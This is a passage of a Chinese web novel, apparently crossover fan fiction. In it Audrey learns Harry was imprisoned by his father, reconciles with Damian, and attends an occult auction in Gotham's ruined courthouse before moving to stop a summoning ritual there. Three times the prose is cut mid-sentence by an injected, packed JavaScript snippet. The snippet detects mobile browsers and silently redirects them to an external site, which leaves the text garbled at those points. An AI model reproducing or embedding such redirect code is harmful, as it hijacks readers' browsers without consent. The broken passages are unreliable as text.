“希望祂永远不要为此联系我。”奥德莉将血墨递给蝙蝠侠。“虽然它们的制作方法是邪恶的，但是毕竟已经做出来了，谁知道它们还有没有其它用处，销毁了实在可惜。您愿意帮忙保存吗？” “你确定吗？”蝙蝠侠没有立刻去接。 “我不能把它们交给密大，对于研习无形之术的人来说，它们的诱惑太大了。我甚至不敢相信我自己能永远守住本心。如果世上有一个人能坚定地拒绝使用它们，那个人一定是您。”奥德莉说。“而且您也有保护它们的能力。” “我不会辜负你的信任。”蝙蝠侠说，脑中已经设计出三个安保方案。 “谢谢您。”奥德莉完成这么多事情，终于可以放纵困倦涌上。“我要回宿舍休息一会儿，明早，哦不，今早还要上班。” 她又转向阿尔弗雷德：“潘尼沃斯先生，麻烦您照顾哈利，我晚上下班后就来接他。如果他想离开，请您把他打晕。我有事情必须和他当面谈谈。” “交给我吧，小姐。”阿尔弗雷德说。 明明是我先说要谈谈的。达米安在奥德莉身后不远处不高兴地想。她就没什么话要和我说吗？ 然后达米安就被跑到自己面前的奥德莉吓了一跳。 “等我解决完哈利的事情，再和你谈，好不好？” “……好。”达米安满意了，对着奥德莉消失后的空地发呆。 “年轻人吵架与和好的速度真快啊。”蝙蝠侠感叹。 “请不要妄自菲薄，您丝毫不逊色于达米安少爷。”阿尔弗雷德说。 30.第 30 章 兢兢业业的实习生奥德莉准时下班离开，晚饭都顾不上吃。幸好万能管家总能先人一步想到他人需求，当奥德莉到达韦恩庄园时，阿尔弗雷德将她领到餐厅，哈利正坐在那里恹恹地吃沙拉，看到奥德莉时对她点点头。 “我们都担心得不得了。那个坏人是在哪里绑架你的？”奥德莉坐到哈利对面，阿尔弗雷德为她端上牛排和沙拉便离开了，给两人留出私人空间。 “早上彼得和格温和我打过电话了。”哈利说。奥德莉回宿舍后，赶紧把找回了哈利的消息告诉两位朋友。“我不是被苏洛恰那绑架的。” “啊？”奥德莉疑惑。 “回到纽约后，我被父亲关起来了。”哈利丢下重磅炸弹，但语气很冷漠，像是伤心后的绝望。“上个月体检时，我发现身体出了点问题，父亲说这种基因逆转病症是家族遗传，每一代发病的时间都比上一代早。他在四十五岁时发病，预期我的症状会在三十五岁之后才出现，所以没有告诉我。他一直在研发药物，希望能终止这个在家族中延续的悲剧。” “那也没必要把你关起来吧？”奥德莉更困惑了。 “你知道彼得是蜘蛛侠吧？”哈利忽然问了一个看似无关的问题。 “呃……知道。” “那你听说过纽约今年新出现的反派绿魔吗？” “脚踏滑板，武器是南瓜炸弹那个？还有人没听说过吗。” “我父亲也知道蜘蛛侠的身份。”哈利冷笑了一下，“他就是绿魔。” “啊？”奥德莉露出呆滞的表情，只能说出单音节。 “他几次试图绑架蜘蛛侠都没有成功，于是要求我对彼得打友情牌，劝彼得自愿帮忙。他认为彼得的基因变异对他的研究至关重要。” “如果只是抽点血就能救你的话，彼得肯定不会拒绝的，这也没什么吧。”奥德莉客观评价。 “如果是那么简单就好了。他要对彼得进行人体实验，深入研究他的基因构成，彼得会成为生不如死的小白鼠。” “所以你拒绝了奥斯本先生，他一怒之下把你关起来了。那苏洛恰那又是怎么回事？” “前天晚上，苏洛恰那找到我父亲，说她有办法为人增加寿命，不过需要把我交给她。” “奥斯本先生不会这么轻信一个来路不明的人吧？” “通常不会，但他已经绝望到疯狂了。而且他也没有马上相信，他通过一些渠道验证了苏洛恰那的话。” “那还是我连累了你。”奥德莉很抱歉地说。“她是为了威胁我帮她做事。” “怎么会是你的错呢。”哈利反驳道，“是我父亲将我交出去的。他已经不在乎我的死活了。” 难怪哈利的情绪比上次见面更糟糕。奥德莉不知道该如何安慰他。 “如果我知道会被用来威胁你，我是宁死也不会去的。”哈利说。“苏洛恰那把我放出来，说明她的目的达到了？” “是的，她得到了她想要的，然后得到了她应得的。”奥德莉不想将细节讲给哈利，免得他更加愧疚。她只是简略地说。“她死了。” 哈利对苏洛恰那没什么愤恨之情，听到这个消息也只是嗯了一声。“她是真的能增加寿命吗？” “能，但是无法治疗。”奥德莉说，“她只能帮奥斯本先生痛苦地多活一段时日。” “那对他来说就足够了，他需要时间继续研究。”哈利说。“他不在乎痛苦，只在乎能活到研究成功的那一天。” “那你呢？你比奥斯本先生提前发病，是否意味着恶化的速度也会更快？”奥德莉问。 “这是很有可能的。” “所以你上次来见我，是想着见最后一面吗？” 哈利没有回答。 “我不太懂生物实验，但我觉得你应该和彼得谈谈。如果他知道自己原本可能帮得上忙，却被剥夺了这样的机会，他会很伤心的。” “我正是怕他不会拒绝我。”哈利低着头说。“我不能让他为了我受那种痛苦。” “谁能肯定奥斯本先生的实验计划是唯一可行的方案？他研究了太久，已经形成了思维定势。彼得和格温也许能给出新的思路呢。” “好吧，我回去就找他们。”哈利说，眼里有了点光采。“现在该说说你的新本领了。你是去霍格沃茨读书了吗？” “嘿嘿，”奥德莉开始吹嘘自己，最后宣布：“我一定会成为青史留名的调查员。” “确实很厉害。”哈利赞同，又有一些黯然。“你已经飞得太远了，到了我无法照看的地方。我为你骄傲，但又希望你还是那个想在办公室做个摸鱼文员的奥德莉。” “其实我还是那个我。”奥德莉有点尴尬地说，“所以才选择这个帮忙做实验记录的实习。只是哥谭这个城市太藏龙卧虎了。” 将哈利送回纽约后，奥德莉回到宿舍，发现达米安站在门口等她。 “你怎么来了？”奥德莉打开门让他进去。 “阿尔弗雷德说你送哈利回去了，我想你接下来会回这里。” 两人在餐桌边坐下，奥德莉问：“茶还是咖啡？” “你这里只有水。”达米安指出。 “你猜错了。”奥德莉从冰箱里取出中午从食堂拿的可乐，自己喝起来。 大眼瞪小眼了一会儿，达米安先开口了：“对不起，我隐瞒身份并不是因为不信任你……” “等一下，”奥德莉急忙打断他，“你完全不需要为这件事道歉。我尊重你的决定，而且我也不觉得这意味着不信任。你的身份泄露不只会影响自己，还可能影响到周围的人。比如蝙蝠侠和韦恩先生，我在知道你是罗宾的时候，就明白他们是你的父亲了。我猜他们并不想正式公开关系吧。” “你在说什么…”达米安被前面的话感动了，但后面的话他听清了每一个字，却一个字也没听懂。 “哥谭人都知道韦恩家的达米安少爷是蝙蝠侠和韦恩先生的孩子，我本来不敢相信，直到发现你是罗宾才敢肯定这不是谣言。”奥德莉安慰他。“这也没什么呀，你比其他人少了一个母亲，却多了一个父亲。” 这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297653|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣言！你不是蝙蝠侠的粉丝吗，为什么会对偶像造谣得如此自然？达米安不想撒谎说蝙蝠侠不是他的父亲，又不能公开蝙蝠侠的真实身份，只能面无表情地沉默。 “其实应该道歉的人是我。虽然不是有意的，但终究造成了你的失忆。我以为你是故意不联系我的，还背地里说过几次你的坏话。”奥德莉忏悔道。 “你不高兴也很合理。无论是什么原因，我总归是失约了。”达米安表示理解，又问：“你是怎么认出我的两个身份的？” “很难吗？”奥德莉疑惑。 你都没有认出你的偶像蝙蝠侠和被你造谣的另一个主人公韦恩先生是同一个人，所以是的，很难。达米安想。 “我想知道是不是露出了什么破绽，以后可以注意。”达米安说。 “那你需要换一副更遮挡的眼罩。”奥德莉说，“没有人对你说过吗？你的绿眼睛很特别。” 达米安愣住了，然后耳朵悄悄红了。 “你能原谅我吗？”奥德莉没注意到达米安的异样，关切地问出最在意的问题。“你不会因为失忆的事怪我吧？” “当然不会。”达米安说。 “那我认出你是罗宾却没有告诉你呢？” “我能理解。” “所以我们和好了？” “还有一件事，”达米安慢吞吞地说。“我们回到拉撒路池时，你为什么不辞而别？” 最解释不清的问题来了。能怪布莱克吗？当然不能，它可是为了救她而冒险。 她还有什么选择呢？只能默默认下布莱克的行为，为此道歉：“事出有因，绝不是我的本意。” “好吧。”达米安轻轻放过此事。既然奥德莉不是故意的，那追究背后的原因也没有意义。 见他善解人意地没有追问，奥德莉松了口气：“我还要在哥谭待六个星期呢。你说要做向导，这话还算数吗？” “当然。” “可是哈利说他没有拜托过你们。”奥德莉忽然说，其实她根本没有问过哈利，只是在诈达米安。 “那就是德雷克记错了。”达米安马上推锅，但看见奥德莉似笑非笑的狡黠表情，只好解释道：“我看到你之后有一种奇怪的熟悉感，后来又发现记忆缺失，想和你多接触看看能不能找回记忆。” “这才说得通嘛。”奥德莉点点头。 并没有说出全部原因的达米安又有些不开心了。只是为了找回记忆的话，有必要天天去找她吗？但是看到奥德莉一副我真是神机妙算的得意表情，他的脾气又烟消云散了。 “你还想接受体术训练吗？”达米安问。 “好呀。明天周六，我先吃个早午餐，然后去找你。” “你要去哪里吃，我和你一起去。” “旅游必吃榜排名第一那家。” “哥谭有这种东西？哥谭根本不是旅游城市吧。” “你没听过那句宣传语吗，‘大美哥谭，绿水青山’。” “这是毒藤女投的稿吗？哥谭哪里有山？”达米安吐槽。 31.第 31 章 “我觉得他还在生气。”布莱克眼泪汪汪地对奥德莉说，用黑色小猫爪轻轻碰她腿上的淤青。 “他只是对训练严肃认真而已，是个负责任的教练。”奥德莉摸摸布莱克的头，“你不觉得他教的内容很实用吗，而且根据我的习惯做了调整。” “要不是这样，我早就打他了。”布莱克很威武地说。自从达米安表示不会计较失忆的事情，它又支棱起来了。它催促道：“你今天拍到的很像我的黑色小猫，快点发到Ins上。” 奥德莉拿起手机，把下午在咖啡馆拍到的一系列照片发到Instagram。这家女巫咖啡馆很有特色，带着黑猫设计的小巧思隐藏在各处，她认真地找了很久，达米安也帮她一起四处搜寻。 “配上文字。”布莱克指示。 奥德莉写：“和黑猫共度的美好时光。” “重写，多夸猫咪几句。”布莱克要求修改。 “怎么感觉你像是在给ChatGPT输入指令，”奥德莉吐槽一句，但还是有求必应地修改：“我是被黑猫选中的幸运人类，它是凝固的夜色，也是会呼吸的暖阳。每一个平凡的时刻，都因为它的碧绿眼眸而镀上金边。” “马马虎虎吧，”指手画脚的甲方布莱克不是完全满意，但还是批准发布了。“快发快发。” 彼得第一个点赞，格温也很快回复“好可爱”。哈利凌晨才看到，发现自己已经挤不进前十了，第二天早上立刻给奥德莉打电话，要求她下次在凌晨定点发布，以便自己抢到第一。 奥德莉照做一星期，直到格温在群里指责哈利作弊。 清晨的韦恩家，四任罗宾共进早餐。阿尔弗雷德很高兴他们每月一次的聚会能持续下来，为几位少爷奉上大杯牛奶。 韦恩老爷还在赖床，体贴地为小辈们留出交流感情的空间。他知道孩子们的共同话题之一是吐槽他，他的在场会影响他们的畅所欲言。 “迪克，你恋爱经验最丰富，”达米安开口。 “恋爱经验最丰富的不应该是布鲁斯吗？”迪克深觉冤枉。 “布鲁斯多数是逢场作戏，认真的没几段。而你的前任包括……”提姆奋力喝完牛奶，终于有资格获得咖啡，猛灌几口准备开始列举，迪克急忙打断他。 “好吧我算是有些经验。小D你是有感情上的烦恼吗？” “奥德莉在过去四天里一共发了五条Ins，都是在凌晨四点，也就是我夜巡回来的时候，我通常会在那个时候查看当天的信息。她每次的推文内容都带有黑猫表情。另外，在我留言之后，她都回复了我笑脸表情。我觉得奥德莉一定是很在意我，你觉得呢？”达米安越说越觉得自己非常有道理。 “我觉得这只能说明你时刻关注她的Ins，说明你在意她。”迪克一针见血。“而且你是用小号留言的，她根本不知道那是你。” 达米安充耳不闻地捧着牛奶杯，在杯子后面露出微笑，笃定地说：“她一定是因为我而这么做的。” 提姆和迪克对视一眼，决定不去打击深陷幻想的罗宾。倒不是他们俩不想，只是老管家正站在那里一脸欣慰地看着达米安，似乎已经幻想到韦恩家族的第四代成员了。 杰森看得津津有味，恨不得鼓励达米安再多说点——好看，爱看。今天没白来。他还热切地问迪克：“他这个症状多久了？” 奥斯本集团总裁因病退位，独子休学支撑大局。这件事在财经新闻上引起一些波澜，但股价迅速被稳定下来后，人们的注意力很快被其它消息吸引走了。 老奥斯本被神盾局带走关押兼治疗，彼得和格温加入了哈利组建的研发团队，斯塔克工业和韦恩集团也给予了帮助。哈利忙得不可开交，反倒被激发了斗志。 奥德莉继续她的实习日常——和阿卡姆病人谈话并记录。可能是哈维的出院触动了他们，病人的态度更友善了。 “奥里弗拉姆拍卖行要在哥谭临时举行一场拍卖会，明天晚上你有空吗？我刚收到两张入场券。”早上开会时，维斯勒医生问奥德莉。 数百年前，奥里弗拉姆拍卖行在伦敦创办，专卖密教材料和稀有文献。在防剿局的关注下不屈不挠地经营了二十年之后，店铺被一场无法解释的大火烧毁，店主不得不找了一处局促的新址继续业务。坚持了几年后，店主决定调整经营模式，在世界各地巡游营业。这一举动大受研习无形之术之人的欢迎。 拍卖会通常会提前一两个月放出预告，不知这次为何仓促通知。“也许店主获得了什么不能长久储存的材料，急于出手。”维斯勒医生猜测。 “谢谢您，我太想去了！”奥德莉激动。虽然很可能什么也买不起，但能见见世面也是好的。 “一个建议：在出发前想好你愿意消费的最高额度，然后严格遵守。拍卖会的气氛经常会冲昏人的头脑。”维斯勒医生的善意提醒中包含着她的血泪经验。 “如果额度定在两万的话，会不会什么也买不到？”奥德莉没有经验。 “不一定，拍卖会上的东西很杂，价格有上百万的，也有几千元的。可惜这次的通知太突然，没有附上货物清单，要到现场才能知道拍卖的具体内容了。” “拍卖会在哪里举行？我需要穿正装吗？” “在哥谭法院旧址，没有着装要求。”维斯勒医生说。“明天晚上八点来办公室找我。” 晚上，奥德莉反反复复数自己的小金库，盘算着是不是能把消费额度提高到三万。布莱克看她对着计算器狂按四位数加减法，忍不住说：“你都算了三遍了，面对现实吧。” “还是有用的，”奥德莉说，“我现在可以把预算精准到两万三千八百二十五。” “你不会打算每次加价一块钱吧……”布莱克想不通这么精确的意义何在。 这时达米安给奥德莉打电话，问她明天晚上要不要一起去韦恩塔看烟花。“哥谭每年都会在独立日举办大型烟花秀，韦恩塔的楼顶是绝佳观赏位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302883|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我明天晚上有安排了。”奥德莉惋惜地说，“我要去参加拍卖会。” “哥谭最近有什么拍卖会吗？”达米安一边说，一边开始搜索。 “是圈内的，不对外。”奥德莉说。“我想去见识一下。” “哦，那我一会儿送几张空白支票过去。”达米安说。 “啊？”奥德莉感受到调查员遇到大金主时的幸福眩晕。可惜达米安并不是自己的赞助者，而是人傻钱多容易被人占便宜的富家少爷。她只能拒绝道：“我只是去看看，没什么特别想买的。而且还不知道这次会卖什么呢。” “我倒想到一样东西，如果他们有的话。”达米安说。 “是什么？” “圣雅纳略的真血。” “哦，用来书写羊皮卷的那个。”奥德莉恍悟。 “写作者说它有助于增强理性。如果你想把维多利亚世界和乐高世界的坐标记录下来的话，可以考虑以它为材料，续写前辈未完成的事业。” “你说得很有道理，”奥德莉说，“如果是它的话，我的预算应该足够。” “好吧，”达米安暂退一步，但还是强调：“即使超出预算也要拍下，就当是和我一起拍，我来付超出的部分。” 见奥德莉没有马上答应，达米安又加上一句：“羊皮卷很重要，不只是对你而言，也是对全人类。你需要我去请蝙蝠侠亲自来找你谈吗？” “不用了，我答应你。”奥德莉不想为这点小事打扰蝙蝠侠。 挂断电话后，奥德莉发现布莱克欲言又止、止言又欲地望着自己：“怎么了？” 布莱克恨铁不成钢地说：“如果麦哲伦拒绝西班牙王室的资助，人类要何时才能验证地圆说？哪有调查员把钱往外推的。” “这怎么能一样，达米安纯粹是对金钱没概念，拿他的钱有一种骗小孩子糖果的感觉。” “那让他正式赞助你，签协议的那种。”布莱克提议。 “他是个未成年人，还记得吗？法律上他没有行为能力签署赞助协议。” “你也不比他大多少呀，你们人类不是有个什么罗密欧与朱丽叶法案么？” “那个是针对谈恋爱的。”奥德莉无语。“你的知识都学杂了。” “喵呜。”布莱克尴尬地叫了一声，又眼前一亮：“那等他满十八岁就可以赞助了？” “到时候再说吧。”奥德莉说。 “还有哈利，他也可以赞助你呀。”布莱克广撒网，目标不止一个。 “总感觉对熟人下手不好意思。”奥德莉实话实说，“毕竟普通人很难从调查员的成果中获得实质收益。” “怎么会呢，他们应该感谢你才对。这是给他们参与伟大调查员的征途的珍贵机会。”布莱克很有职业荣誉感地说，眼中充满了对星辰大海的向往。 “你太夸张了。”奥德莉挠挠布莱克的下巴，它舒服得眯起眼睛，狮子王状态终止。 32.第 32 章 哥谭法院旧址位于市中心偏东，三十多年前在一场爆炸中化为废墟。正义女神的雕像早已蒙上灰尘，只有残存的拱顶、石柱和破碎的彩色玻璃窗依稀透露出昔日的威严。明明处于黄金地段，却不知为何始终无人出资购入改作他用，哥谭市政府仍是产权所有者。 夜晚的法院旧址幽暗阴森，建筑四周被铁丝网草草围起，挂了“禁止入内”的牌子。奥德莉跟着维斯勒医生以照明术点亮周围，绕了一圈才找到入口，沿着台阶走下去。 “为什么选在这里？”奥德莉原以为这不过是一处被废弃的建筑，到达后才发现是断壁残垣。拍卖会在地下一层举行，希望不要中途塌陷。 “因为这里不需要付租金。”维斯勒医生猜测。严格意义上说，店主和他们都在实施非法入侵。 看到店主对场地的选择如此别具一格，奥德莉合理地担忧起拍卖会是否会被安排在某个昏暗角落，是否有人藏头露尾，甚至是否有人埋伏在门口伺机打劫。最后一项实则是杞人忧天，因为客人们都会选择传送离开。 地下一层一间宽敞的屋子里灯火通明，门口那块写着‘档案室’的铭牌已经摇摇欲坠。屋内数十张折叠椅摆放整齐，已经有十余人分散落座了。 奥德莉和维斯勒医生先去最前方的拍卖桌前取了物品清单，然后在第二排坐下，一边阅读清单，一边等待拍卖开始。 所有物品都没有任何注释说明，对于从未听闻的物品，奥德莉只能根据初始价格来猜测其价值。幸运的是，清单中竟然包括了圣雅纳略的真血，起拍价为五千元，每次加价需为一百元的整数倍。 现任店主埃莉诺·奥里弗拉姆已经步入中年，身材高挑，银灰色长发在脑后挽成低髻。她语调温和，却极具感染力。拍卖会的过程平平无奇。奥德莉顺利地以六千元拍下了圣雅纳略的真血，她有点不敢相信只有一个人和她毫不激烈地竞争两次，然后就落锤了。 “这里不会卖假货吧？”奥德莉用手机打字给维斯勒医生看。 维斯勒医生指指清单最下方的一行小字，“奥里弗拉姆拍卖行郑重承诺，所有拍卖物品已经过严格验证，均为真品。假一赔十。” 大概是这个东西大家都不需要吧。奥德莉放心了，又研究起手中的清单，看还有什么值得竞拍的。她还有一万七千八百二十五的可用额度呢。 奥德莉又拍到一块玫瑰指针怀表，没有皮斯利教授的那块精致，但胜在便宜，只花了三千元。 她还参与竞拍了一套黄铜蒸馏器，在价格叫到八千元时，维斯勒医生示意她停手，她便立刻退出了。这是她们在出发前商量好的，如果维斯勒医生根据经验判断价格虚高，会及时提醒她。 维斯勒医生拍下几件各有用途的医学器具以及数件仪式材料，对收获很满意。 回到宿舍后，奥德莉先给达米安发信息，告诉他自己仅以六千元便买到了圣雅纳略的真血。然后她打开黑色牛皮纸袋，拿出里面的水晶瓶。 瓶子比巴掌略大，里面的橙黄色液体在清澈与浑浊间循环往复，仿佛在交替经历暴风与平静。 她又取出怀表尝试调试，为其设计之复杂而惊叹。 热爱钻纸袋的布莱克见奥德莉已经取出所有东西，立刻迫不及待地跳进去，紧接着屁股被硌了一下，“喵呜”一声从袋子里蹦出来，用爪子捞出一个很小的金属锤子，摸索几下又掏出一张纸条。 “赠哈维检察官。”奥德莉读出纸条上的内容。“这是要干什么？行贿？恐吓？” 手机忽然响了，是达米安打来的：“你回宿舍了吗？” “刚回来。今天的烟花好看吗？”奥德莉问，却听见听筒另一端传来呼啸的风声，达米安似乎正在急速奔跑。“怎么了？” 达米安断断续续地说：“刚才月亮忽然变成红月，在看烟花的观众中引起一阵骚动。同时康斯坦丁发来示警，说有人在哥谭法院旧址举行了什么仪式，蝙蝠侠让我去看看。” “这么巧，我刚从那里回来。”奥德莉震惊。她拉开窗帘，一轮血色圆月高悬于空，她很确定自己回来时月亮还是与平日一样的清冷颜色。“满月，又是没有预告的红月，感觉不太妙啊。” “拍卖会在法院旧址举办的？” “对。另外我这里也发生了一件怪事。”奥德莉把锤子的事情讲给达米安。 “你再看看袋子里是不是有一个小圆片？”达米安说。 布莱克立刻伸爪去摸，真的摸到一个硬物，用小黑爪托着展示。圆片太小，把它的爪子都衬得格外大。 “真的有。你怎么知道的？”奥德莉不可思议。 “听描述像是法槌和其底座。”达米安解释。 “但是纸条上写的称呼是哈维检察官。”奥德莉听到与法官相关，立刻紧张起来。“我还以为是有人想用锤子威胁哈维，难道又是在打法官人格的主意？” “康斯坦丁到了。”达米安终于停下了脚步，“他正在检测魔法痕迹。” “有什么发现吗？” “一无所获。”达米安说。 康斯坦丁无功而返，面露困惑地说：“黑暗正义联盟的启兆仪从不出错。” 启兆仪是一个魔法金属铸造的中空球体，上面刻满了各种符文咒语，设计灵感来自中国古代的候风地动仪。任何概念性扰动都逃不过它的感知，例如召唤外神或魔神的仪式准备，或是外神临近所引发的认知扭曲。 “或许将拍卖会临时安排在今天，真正目的是为了掩护某些东西。”奥德莉猜测。 达米安将拍卖会的信息转述给康斯坦丁，康斯坦丁索性用自己的通讯器直接加入频道，与奥德莉讨论起来。达米安听见康斯坦丁问明了拍卖会的具体房间，插言道：“据我所知，老法院的地下有两层档案室。” “拍卖会是在地下第一层。”奥德莉肯定道。 “我下去看看。”康斯坦丁说，“我检测不出魔法残余，但可能有物理痕迹。” “需要我去吗？”奥德莉问。 “不用。”康斯坦丁说。“我是个侦探，任何蛛丝马迹都逃不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308342|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过我的双眼。” “好吧。对了，我现在把拍卖清单发给达米安，虽然不知道是否有用。”奥德莉说着，用手机拍照。 “超过一半的物品都是珍稀材料，”康斯坦丁快速浏览着，“足以掩盖轻微的魔法波动了。” “把法槌和底座的照片发给我们。”达米安说。 奥德莉照做，说：“底座背面刻着很小的字，‘Iudicium venit’，这是拉丁语，‘审判即将到来’。” “这是为法官哈维增加法力的道具吗？但尺寸上是不是太偷工减料了？”达米安开玩笑地说。 “如果它被放在我的袋子里而不被店主发现，那很可能是店主自己放进去的。哈维好不容易战胜自我，还不放过他。”奥德莉愤然。 “店主很可能是知道你在哈维的出院过程中发挥了作用，也因此相信你不会加害哈维。他的举动，更像是一种示警。”达米安说。 “那要交给哈维吗？或者我先代为保管，研究清楚再说？”奥德莉摆弄着法槌，用它在底座上轻轻敲一下，什么也没发生。也可能是因为她不具备激活它所需要的潜能。 “先等一等吧。”康斯坦丁说，他和达米安已经到了地下第二层，有人用荧光材料在墙壁上绘制了大片的扭曲符文。“有人准备了古老的召唤仪式。” “召唤乌尔塔尔？”奥德莉问。 “你是怎么猜中的？”康斯坦丁诧异。 奥德莉犹豫了一下，简单介绍了哈维的第三个人格。康斯坦丁恍然：“这些人，姑且称为信徒吧，试图以哈维作为容器召唤乌尔塔尔的意识降临。可能正是这些信徒引诱了法官哈维的诞生，以便他能成为司法与混乱、正义与堕落的完美结合体。” “那这个法槌也是仪式的一部分吗？” “我想它可能是核心部分，仪式将在哈维落下法槌时正式完成。”康斯坦丁推测。 “那为什么会在店主手里？店主又为什么要悄悄把它给我？” “只有店主能回答了。”康斯坦丁耸耸肩，“仪式为什么还没开始？这种人为红月持续不了太久，最多再过一小时就结束了。” “有人来了。”达米安忽然听到上方传来细微响动，他和康斯坦丁立刻躲到两个破旧的铁皮柜子后面。 “七个人，他们带来了被打晕的哈维。”达米安给奥德莉发信息。 “需要增援吗？”奥德莉问。 “蝙蝠侠在来的路上。”达米安回复。“法槌在你那里，如果康斯坦丁的推测正确的话，他们的仪式根本完不成。” “未完成的仪式并不意味着失败，反而可能带来更大的危险。”奥德莉说。“如果仪式成功，乌尔塔尔的力量将汇聚在哈维体内，由他来审判一切。但如果被中断，乌尔塔尔的力量可能会扩散，弥漫整个城市。” “你不会是在建议我想的那个吧？”达米安领会了她的意思，无奈地说。 “我已经到市中心了。”奥德莉说，传送一落地，她便开始朝着法院旧址奔跑。 33.第 33 章 奥德莉与蝙蝠侠在法院旧址外“禁止入内”的牌子前相遇了。 “你希望促成仪式成功？”蝙蝠侠问。他在频道里听到了所有对话。 “是的，”奥德莉说。“我不知道店主为何会把如此重要的法槌交给我，也许是希望仪式中断后哥谭陷入混乱，也许是被信徒威胁着掩护他们所以有意报复。但无论如何，我认为仪式成功才能将损害控制到最低，因为我们只需要应对一个人。” “即使这意味着乌尔塔尔的降临完成？”蝙蝠侠问。 “从乌尔塔尔将视线投向信徒的那一刻起，降临便已成型。他们筹谋已久，我们无法在这一步阻止。只能想办法驱逐祂。” “我赞同。”康斯坦丁的信息从通讯器上跳出来。“对付一个疯子，总好过面对一个城市的疯子。” “看来你有一个计划了。”蝙蝠侠肯定地说。 “一个有些冒险的，需要哈维全力配合的计划。”奥德莉解释道。“如果我们能证明仪式本身是不合法的，仪式就会被自己触犯的规则破坏，乌尔塔尔也会被立刻驱逐——前提是哈维的意志能支撑一阵子，没有马上被乌尔塔尔吞噬。” “你说的不合法……”蝙蝠侠看向“禁止入内”的牌子，若有所思。“法院旧址的产权从未转手，未经哥谭政府许可不得入内。而且这处建筑仍被归类为‘历史建筑’，未经审批，任何破坏都是违法的。” “正是。信徒们非法入侵，又在墙壁上绘制法阵，至少违反了两项法规。”奥德莉说。 “我相信哈维不会停止抗争的。”蝙蝠侠同意了奥德莉的计划。“可惜我们来不及确认信徒们是否通过一些渠道获得过许可。你知道的，哥谭的官员并不是个个清廉。” “请告诉我所有审批都已经电子化了，您能用一秒钟查到结果。”奥德莉痛苦地说。 “很可惜，并非如此。网上申请和纸质申请都是被允许的。”蝙蝠侠说。“这是为了保障所有人，尤其是不熟悉网络操作者的平等参与权利。” “很有道理。但我们不能既去赌哈维的意志，又去赌信徒们是否违规。那样的风险太高了。” “我来解决这个问题。”蝙蝠侠说。“帮我拖延时间。” 奥德莉点点头，独自走到地下二层。她知道达米安和康斯坦丁正躲在某个角落。 “你们是谁，为什么擅自闯入此处？”奥德莉对正在准备仪式的几个信徒喊道。 “你是谁？”一个戴着黑色兜帽的男人朝奥德莉走来。 “我是一位正义市民，”奥德莉说。“你没有看到门口‘禁止入内’的牌子吗？这是市政府的财产，你们凭什么半夜潜入？” “你不是也进来了吗？”男人反问。 “好吧，那我是一位一般正义的市民。”奥德莉说，“但我不是必须要遵守规则的那个。” “哈，”男人笑起来，明白了她的意图。他从口袋中掏出一张纸，展开给奥德莉看。奥德莉靠近一些，念出上面的文字：“临时集会许可……由休伯特·约翰逊议员签发。” “满意了吗？”男人的语气中泄露出一丝得意。 “你知道这栋建筑……呃，建筑废墟有多古老吗？”奥德莉赶紧提出另一项问题。 “我们当然知道。这座哥谭法院曾为正义服务了两百年，它早已孕育出深植其骨的‘裁决之则’，即使在建筑倒塌后，那种力量仍然存在。” “难怪你们选择这里。”奥德莉说，用手指了指墙上绘制的符文。“虽然你们获得了集会许可，但对于这种历史建筑，任何毁坏都是被禁止的，你们的艺术大作也在其列。” “小姐，这一点我们也早有考虑。”男人似乎很高兴能有一个积极提问的观众，让他们那些看似无用的准备显得不那么徒劳。“我们被雇佣对这里进行‘修缮’。” “想来你也有正式的雇佣文件了？”奥德莉问。 “当然。”男人说。 “好吧，那我没有其它的问题了。”奥德莉叹气。“你们继续，不用管我。” 男人又回到同伴身边，给了哈维一耳光将他唤醒。哈维迷茫地看看周围，看到奥德莉之后更困惑了。 “尊敬的哈维法官，”男人十分恭敬地说，很难相信正是他刚刚打了哈维一巴掌。 “我不是法官。”哈维的态度冷淡。“你要找的那位已经洗手不干了。” 男人大吃一惊，显然他并不知道这些，他还以为是哈维的法官人格骗过了医生，才得以出院。但他很快又不在意地笑笑，说：“没关系，他会再出现的。” 男人向同伴伸出手，另一人去掏口袋，却没找到想要的东西，惊慌地上下摸索一番，低声说：“东西不见了。” “废物。”男人骂了一句，但现在不是训斥同伴的时候，红月快要结束了。他轻声念诵咒语，奥德莉感觉到口袋中的法槌和底座在发热，然后震颤着朝男人飞去。她试图按住它们，但没有成功，掌心被烫出了红痕。 “为什么它们会在你那里？”男人惊疑地问。 “有人委托我送过来。”奥德莉胡说八道。“我是一个快递员。” 男人显然不信，但也并不纠缠。他将微型的法槌塞进哈维手里，又继续念诵了一会儿，法槌和底座震颤着逐渐变大，最后变成与普通法槌相似的大小。 